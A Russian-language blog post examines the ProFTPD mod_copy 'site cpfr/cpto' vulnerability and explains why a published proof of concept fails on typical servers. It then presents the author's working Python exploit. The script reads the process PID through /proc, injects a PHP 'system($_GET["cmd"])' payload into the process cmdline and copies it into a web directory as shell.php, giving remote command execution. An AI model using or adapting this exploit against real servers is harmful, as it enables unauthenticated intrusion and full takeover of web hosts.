Уязвимость в ProFTPD

Про site cpfr/cpto в ProFTPD с PHP (моя версия)

После публикации деталей уязвимости в ProFTPD в интернетах начался массовый скан. Я решил проверил данную брешь на своих ресурсах. Под рукой имелись сервера под Debian 7 и Ubuntu 14.04.

В описании указано, что мы можем копировать произвольные файлы в директории доступные для записи. Также есть пример:

------------------------------
site cpfr /etc/passwd
350 File or directory exists, ready for destination name
site cpto <?php phpinfo(); ?>
550 cpto: Permission denied
site cpfr /proc/self/fd/3
350 File or directory exists, ready for destination name
site cpto /var/www/test.php

test.php now contains
----------------------
2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): error rewinding scoreboard: Invalid argument
2015-04-04 02:01:13,159 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): FTP session opened.
2015-04-04 02:01:27,943 slon-P5Q proftpd[16255] slon-P5Q
(slon-P5Q.lan[192.168.3.193]): error opening destination file '/<?php
phpinfo(); ?>' for copying: Permission denied
-----------------------

На самом деле файлы копируются, но данный пример скорее всего был преувеличен. Ни на одном из проверенных серверов получить доступ к /proc/self/fd/3 не удалось, и вот почему.

/proc/self/fd/3 указывает на /var/log/proftpd/proftpd.log.

/proc/self/fd/3Права /var/log/proftpd/proftpd.log «-rw-r——«. Владеет файлом root и группа root, поэтому, просто взять и получить к нему доступ нельзя.

Используя данную уязвимость можно добиться желаемой цели, но пример был выбран неудачно.

Моя версия событий:

import socket, requests, re, sys

server = '127.0.0.1'
pathToDir = '/var/www/html/uploads/'
urlToDir = 'http://localhost/uploads/'
payload = '<?=system($_GET["cmd"]);'

pidCheck = 'forCheck.txt'
fileShell = 'shell.php'

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((server, 21))
print 'Connect...',
tmp = s.recv(1024)
if len(tmp) > 0:
    print " OK\n"
else:
    print "Fail" 
    sys.exit()

s.send('site cpfr /proc/self/status\n')
s.recv(1024)
s.send('site cpto ' + str(pathToDir) + str(pidCheck) + "\n")
s.recv(1024)
s.send("site cpfr " + str(payload) + "\n")
s.recv(1024)


# <getPID>
r = requests.get(str(urlToDir) + str(pidCheck))
pid = r.content
pidNum = re.findall(r"Pid\:    (\d+)", pid)
# </getPID>

if len(pidNum) > 0:
    print "PID found: " + str(pidNum[0])    
    s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s2.connect((server, 21))
    s2.recv(1024)
    s2.send("site cpfr /proc/" + str(pidNum[0]) + "/cmdline\n")
    s2.recv(1024)
    s2.send("site cpto " + str(pathToDir) + str(fileShell) + "\n")
    s2.recv(1024)
    print "Your shell: " + str(urlToDir) + fileShell
else:
    print("PID not found :(")

Определяем PID, затем выполняем команду с нашим пэйлоадом в виде PHP кода, после этого, во втором соединении копируем cmdline из первого соединения. Всё просто 🙂